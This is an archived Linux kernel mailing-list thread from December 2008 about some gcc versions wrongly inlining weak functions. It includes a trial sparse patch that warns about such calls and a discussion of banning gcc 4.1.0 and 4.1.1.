X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1067 gmane.linux.kernel:774034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1067>



On Wed, 31 Dec 2008, Linus Torvalds wrote:
> 
> I guess I could make a sparse rule for this, but nobody seems to run or 
> care about sparse anyway. Sad.

Ho humm. Looks like a sparse rule might be in order. These are just from 
my (smallish) personal config. I haven't checked them all, but I did check 
the first two, and yes, sparse did get it right.

  init/main.c:548:24: warning: Calling weak function 'smp_setup_processor_id' in file scope
  init/main.c:674:24: warning: Calling weak function 'thread_info_cache_init' in file scope
  arch/x86/kernel/e820.c:1364:38: warning: Calling weak function 'machine_specific_memory_setup' in file scope
  arch/x86/kernel/e820.c:1371:20: warning: Calling weak function 'memory_setup' in file scope
  arch/x86/kernel/reboot.c:386:22: warning: Calling weak function 'mach_reboot_fixups' in file scope
  kernel/sched.c:7720:26: warning: Calling weak function 'arch_update_cpu_topology' in file scope
  kernel/sched.c:7808:41: warning: Calling weak function 'arch_update_cpu_topology' in file scope
  kernel/fork.c:229:29: warning: Calling weak function 'arch_dup_task_struct' in file scope
  kernel/fork.c:1325:44: warning: Calling weak function 'idle_regs' in file scope
  kernel/sched_clock.c:158:19: warning: Calling weak function 'sched_clock' in file scope
  kernel/sched_clock.c:207:19: warning: Calling weak function 'sched_clock' in file scope
  kernel/time/timekeeping.c:283:43: warning: Calling weak function 'read_persistent_clock' in file scope
  kernel/time/timekeeping.c:318:43: warning: Calling weak function 'read_persistent_clock' in file scope
  kernel/time/timekeeping.c:353:50: warning: Calling weak function 'read_persistent_clock' in file scope
  mm/vmalloc.c:1645:18: warning: Calling weak function 'vmalloc_sync_all' in file scope
  mm/hugetlb.c:1039:32: warning: Calling weak function 'alloc_bootmem_huge_page' in file scope
  mm/sparse.c:448:29: warning: Calling weak function 'vmemmap_populate_print_last' in file scope
  fs/pipe.c:1069:18: warning: Calling weak function 'sys_pipe2' in file scope
  fs/proc/meminfo.c:145:21: warning: Calling weak function 'arch_report_meminfo' in file scope
  drivers/acpi/pci_irq.c:676:21: warning: Calling weak function 'acpi_unregister_gsi' in file scope
  drivers/char/mem.c:168:23: warning: Calling weak function 'unxlate_dev_mem_ptr' in file scope
  drivers/char/mem.c:172:22: warning: Calling weak function 'unxlate_dev_mem_ptr' in file scope
  drivers/char/mem.c:240:23: warning: Calling weak function 'unxlate_dev_mem_ptr' in file scope
  drivers/char/mem.c:246:22: warning: Calling weak function 'unxlate_dev_mem_ptr' in file scope
  drivers/char/mem.c:318:12: warning: Calling weak function 'map_devmem' in file scope
  drivers/char/mem.c:324:14: warning: Calling weak function 'unmap_devmem' in file scope
  drivers/char/mem.c:349:35: warning: Calling weak function 'phys_mem_access_prot_allowed' in file scope
  drivers/char/mem.c:365:15: warning: Calling weak function 'unmap_devmem' in file scope
  drivers/pci/probe.c:1159:36: warning: Calling weak function 'set_pci_bus_resources_arch_default' in file scope
  drivers/pci/pci.c:1015:24: warning: Calling weak function 'pcibios_disable_device' in file scope
  drivers/pci/pci.c:1043:37: warning: Calling weak function 'pcibios_set_pcie_reset_state' in file scope
  drivers/pci/pci-sysfs.c:897:39: warning: Calling weak function 'pcibios_add_platform_entries' in file scope
  drivers/pci/msi.c:49:27: warning: Calling weak function 'arch_setup_msi_irq' in file scope
  drivers/pci/msi.c:69:25: warning: Calling weak function 'arch_teardown_msi_irq' in file scope
  drivers/pci/msi.c:421:27: warning: Calling weak function 'arch_setup_msi_irqs' in file scope
  drivers/pci/msi.c:492:27: warning: Calling weak function 'arch_setup_msi_irqs' in file scope
  drivers/pci/msi.c:562:29: warning: Calling weak function 'arch_msi_check_device' in file scope
  drivers/pci/msi.c:654:24: warning: Calling weak function 'arch_teardown_msi_irqs' in file scope
  lib/swiotlb.c:141:28: warning: Calling weak function 'swiotlb_phys_to_bus' in file scope
  lib/swiotlb.c:146:41: warning: Calling weak function 'swiotlb_bus_to_phys' in file scope
  lib/swiotlb.c:156:28: warning: Calling weak function 'swiotlb_phys_to_bus' in file scope
  lib/swiotlb.c:167:30: warning: Calling weak function 'swiotlb_phys_to_bus' in file scope
  lib/swiotlb.c:168:28: warning: Calling weak function 'swiotlb_phys_to_bus' in file scope
  lib/swiotlb.c:204:35: warning: Calling weak function 'swiotlb_alloc_boot' in file scope
  lib/swiotlb.c:260:31: warning: Calling weak function 'swiotlb_alloc' in file scope
  lib/swiotlb.c:336:58: warning: Calling weak function 'swiotlb_arch_range_needs_mapping' in file scope
  lib/swiotlb.c:336:58: warning: Calling weak function 'swiotlb_arch_range_needs_mapping' in file scope

I bet there are others that I don't see just because I don't compile the 
code.

The appended trial sparse diff is against sparse -git as of a couple of 
days ago if anybody wants to run it themselves.

The _logical_ fix would be to add "noinline" to the definition of 
"__weak", but that's reported not to help. I think the bug may be in the 
assembler that pre-links the call if it sees it in file scope. Or maybe 
gcc doesn't honor noinline for empty functions. Whatever.

Regardless, it's a damn pain.

			Linus

---
 evaluate.c |    7 +++++++
 parse.c    |    7 ++++---
 symbol.h   |    3 ++-
 3 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/evaluate.c b/evaluate.c
index f976645..0ae6c93 100644
--- a/evaluate.c
+++ b/evaluate.c
@@ -2744,6 +2744,13 @@ static int evaluate_symbol_call(struct expression *expr)
 	if (ctype->op && ctype->op->evaluate)
 		return ctype->op->evaluate(expr);
 
+	if (ctype->ctype.modifiers & MOD_WEAK) {
+		struct symbol *fn = ctype->ctype.base_type;
+
+		if (fn->stmt || fn->inline_stmt)
+			warning(expr->pos, "Calling weak function '%s' in file scope", show_ident(ctype->ident));
+	}
+
 	if (ctype->ctype.modifiers & MOD_INLINE) {
 		int ret;
 		struct symbol *curr = current_fn;
diff --git a/parse.c b/parse.c
index eb31871..1ea497f 100644
--- a/parse.c
+++ b/parse.c
@@ -289,6 +289,9 @@ static struct init_keyword {
 	{ "word",	NS_KEYWORD,	MOD_LONG,	.op = &mode_spec_op },
 	{ "__word__",	NS_KEYWORD,	MOD_LONG,	.op = &mode_spec_op },
 
+	{ "weak",	NS_KEYWORD,	MOD_WEAK,	.op = &attr_mod_op },
+	{ "__weak__",	NS_KEYWORD,	MOD_WEAK,	.op = &attr_mod_op },
+
 	/* Ignored attributes */
 	{ "nothrow",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "__nothrow",	NS_KEYWORD,	.op = &ignore_attr_op },
@@ -317,8 +320,6 @@ static struct init_keyword {
 	{ "__sentinel__",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "regparm",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "__regparm__",	NS_KEYWORD,	.op = &ignore_attr_op },
-	{ "weak",	NS_KEYWORD,	.op = &ignore_attr_op },
-	{ "__weak__",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "alias",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "__alias__",	NS_KEYWORD,	.op = &ignore_attr_op },
 	{ "pure",	NS_KEYWORD,	.op = &ignore_attr_op },
@@ -1582,7 +1583,7 @@ static struct statement *start_function(struct symbol *sym)
 	start_function_scope();
 	ret = alloc_symbol(sym->pos, SYM_NODE);
 	ret->ctype = sym->ctype.base_type->ctype;
-	ret->ctype.modifiers &= ~(MOD_STORAGE | MOD_CONST | MOD_VOLATILE | MOD_INLINE | MOD_ADDRESSABLE | MOD_NOCAST | MOD_NODEREF | MOD_ACCESSED | MOD_TOPLEVEL);
+	ret->ctype.modifiers &= ~(MOD_STORAGE | MOD_CONST | MOD_VOLATILE | MOD_INLINE | MOD_ADDRESSABLE | MOD_NOCAST | MOD_NODEREF | MOD_ACCESSED | MOD_TOPLEVEL | MOD_WEAK);
 	ret->ctype.modifiers |= (MOD_AUTO | MOD_REGISTER);
 	bind_symbol(ret, &return_ident, NS_ITERATOR);
 	stmt->ret = ret;
diff --git a/symbol.h b/symbol.h
index c4d7f28..b3fcccd 100644
--- a/symbol.h
+++ b/symbol.h
@@ -185,6 +185,7 @@ struct symbol {
 #define MOD_LONGLONG	0x0800
 
 #define MOD_TYPEDEF	0x1000
+#define MOD_WEAK	0x2000
 
 #define MOD_INLINE	0x40000
 #define MOD_ADDRESSABLE	0x80000
@@ -205,7 +206,7 @@ struct symbol {
 #define MOD_BITWISE	0x80000000
 
 #define MOD_NONLOCAL	(MOD_EXTERN | MOD_TOPLEVEL)
-#define MOD_STORAGE	(MOD_AUTO | MOD_REGISTER | MOD_STATIC | MOD_EXTERN | MOD_INLINE | MOD_TOPLEVEL | MOD_FORCE)
+#define MOD_STORAGE	(MOD_AUTO | MOD_REGISTER | MOD_STATIC | MOD_EXTERN | MOD_INLINE | MOD_TOPLEVEL | MOD_FORCE | MOD_WEAK)
 #define MOD_SIGNEDNESS	(MOD_SIGNED | MOD_UNSIGNED | MOD_EXPLICITLY_SIGNED)
 #define MOD_SPECIFIER	(MOD_CHAR | MOD_SHORT | MOD_LONG | MOD_LONGLONG | MOD_SIGNEDNESS)
 #define MOD_SIZE	(MOD_CHAR | MOD_SHORT | MOD_LONG | MOD_LONGLONG)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 4)
Date: Wed, 31 Dec 2008 19:11:37 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20081231181136.GA4382@uranus.ravnborg.org>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com> <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230747041 10380 80.91.229.12 (31 Dec 2008 18:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 18:10:41 +0000 (UTC)
Cc: Roland Dreier <rdreier@cisco.com>, Ingo Molnar <mingo@elte.hu>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757139AbYLaSKW@vger.kernel.org Wed Dec 31 19:11:46 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757139AbYLaSKW@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI5Xm-0005fb-1F
	for glk-linux-kernel-3@gmane.org; Wed, 31 Dec 2008 19:11:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757139AbYLaSKW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 31 Dec 2008 13:10:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756032AbYLaSKF
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 31 Dec 2008 13:10:05 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:55977 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755422AbYLaSKE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 31 Dec 2008 13:10:04 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 22CA1F84024;
	Wed, 31 Dec 2008 19:09:58 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 1545B580D0; Wed, 31 Dec 2008 19:11:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:774040 gmane.linux.ports.parisc:1068
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1068>

> 
> I guess I could make a sparse rule for this, but nobody seems to run or 
> care about sparse anyway. Sad.

There is some increased janitorial effort recently.
Try to grep for [Ss]+parse in the shortlog for the last couple
of months.

	Sam

From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
	modules (take 4)
Date: Wed, 31 Dec 2008 12:24:56 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1230747896.3408.112.camel@localhost.localdomain>
References: <4959346E.7060600@gmx.de>
	 <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de>
	 <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230747920 13234 80.91.229.12 (31 Dec 2008 18:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 18:25:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 19:26:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI5ls-0001Vg-Cw
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 19:26:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755921AbYLaSZD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 13:25:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755940AbYLaSZD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 13:25:03 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:51210 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755921AbYLaSZB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 13:25:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 464BE8131;
	Wed, 31 Dec 2008 12:24:58 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9wM7jstXSEnI; Wed, 31 Dec 2008 12:24:56 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id BCB5580A2;
	Wed, 31 Dec 2008 12:24:56 -0600 (CST)
In-Reply-To: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1069 gmane.linux.kernel:774045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1069>

On Wed, 2008-12-31 at 09:29 -0800, Linus Torvalds wrote:
> 
> On Wed, 31 Dec 2008, Helge Deller wrote:
> >
> > [PATCH 1/2] module.c: fix module loading failure of large kernel modules
> > 
> > When creating the final layout of a kernel module in memory, allow the
> > module loader to reserve some additional memory in front of a given section.
> > This is currently only needed for the parisc port which needs to put the
> > stub entries there to fulfill the 17/22bit PCREL relocations with large
> > kernel modules like xfs.
> > 
> > Differences of this patch to previous versions:
> > - added weak funtion arch_module_section_size()
> 
> This doesn't work.
> 
> We've had this bug several times now, and one of them just very recently.
> 
> Some gcc versions will inline weak functions if they are in scope - even 
> if there is a non-weak function somewhere else. So you MUST NOT have the 
> weak definition in the same file (or indirectly called through some inline 
> functions in a header file) as the call. Because if you do, then any user 
> with the wrong version of gcc will get the weak function semantics, even 
> if it was meant to be overridden by something else.

Um, but we got told to use all these weak functions instead of the
ARCH_HAS... defines.  They certainly litter the x86 boot code.  The
standard pattern was to put the weak function in the file where it was
used, which is what you're now saying will miscompile.

Which gcc versions are the problem?  Because it's going to be a bit
painful catching and killing all the problems ... it might be better
just to patch the master kernel makefile to refuse to build with the
offending gcc versions.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 10:54:25 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <20081231105425.9ccac21d.akpm@linux-foundation.org>
References: <4959346E.7060600@gmx.de>
	<200812310915.41693.rusty@rustcorp.com.au>
	<495B5806.3080505@gmx.de>
	<alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
	<ada63l0qmba.fsf@cisco.com>
	<alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230749732 18956 80.91.229.12 (31 Dec 2008 18:55:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 18:55:32 +0000 (UTC)
Cc: Roland Dreier <rdreier@cisco.com>, Ingo Molnar <mingo@elte.hu>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 19:56:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI6FA-0000fW-KF
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 19:56:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756320AbYLaSzT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 13:55:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756250AbYLaSzT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 13:55:19 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:47859 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756153AbYLaSzR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 13:55:17 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVIsQIx028653
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 31 Dec 2008 10:54:27 -0800
Original-Received: from y.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id mBVIsPM8001582;
	Wed, 31 Dec 2008 10:54:25 -0800
In-Reply-To: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.5; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-4.918 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1070 gmane.linux.kernel:774056
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1070>

On Wed, 31 Dec 2008 09:47:19 -0800 (PST) Linus Torvalds <torvalds@linux-foundation.org> wrote:

> 
> > (I just notice this because I saw the warning about swiotlb_alloc_boot()
> > not being __init but calling __alloc_bootmem_low and so I looked at the
> > code yesterday)
> 
> Lucky us. What's nasty about this is that most developers probably have 
> updated versions of gcc, and are then surprised when some odd user has 
> insane behavior that doesn't match the source code - because the compiler 
> did something unexpected.

Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
banning them: http://lkml.org/lkml/2008/8/5/444

> I guess I could make a sparse rule for this, but nobody seems to run or 
> care about sparse anyway. Sad.

No, there are some people who regularly run sparse and fix stuff.  Pending
things here include:

y:/usr/src/25> grep sparse series 
input-ads7846c-sparse-lock-annotation.patch
hugetlb-fix-sparse-warnings.patch
lib-fix-sparse-shadowed-variable-warning.patch
lib-proportionsc-trivial-sparse-lock-annotation.patch
nvidia-fix-sparse-warnings.patch
viafb-fix-sparse-warnings.patch
pm3fb-fix-sparse-warning.patch
neofb-fix-sparse-warnings.patch
i810-fix-sparse-warnings.patch
intelfb-fix-sparse-warnings.patch

Which is a good way for it to be used.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 13:22:53 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com> <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
 <20081231105425.9ccac21d.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230758635 11535 80.91.229.12 (31 Dec 2008 21:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 21:23:55 +0000 (UTC)
Cc: Roland Dreier <rdreier@cisco.com>, Ingo Molnar <mingo@elte.hu>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 22:24:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI8Yl-0004Bx-3I
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 22:24:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750738AbYLaVXm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 16:23:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751719AbYLaVXl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 16:23:41 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60340 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750738AbYLaVXl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 16:23:41 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVLMt1e004684
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 31 Dec 2008 13:22:56 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVLMrCJ020067;
	Wed, 31 Dec 2008 13:22:53 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20081231105425.9ccac21d.akpm@linux-foundation.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.424 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1071 gmane.linux.kernel:774088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1071>



On Wed, 31 Dec 2008, Andrew Morton wrote:
> 
> Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> banning them: http://lkml.org/lkml/2008/8/5/444

If it really is just those releases, then yes, considering the number of 
cases we apparently have, and considering how ugly it is in some cases to 
move the weak function anywhere else, maybe banning those versions is the 
proper thing to do.

It probably won't hurt very many people - yeah, some people will be forced 
to upgrade, but I have this memory of early 4.1 having had other bugs 
anyway, so it's probably a good idea.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
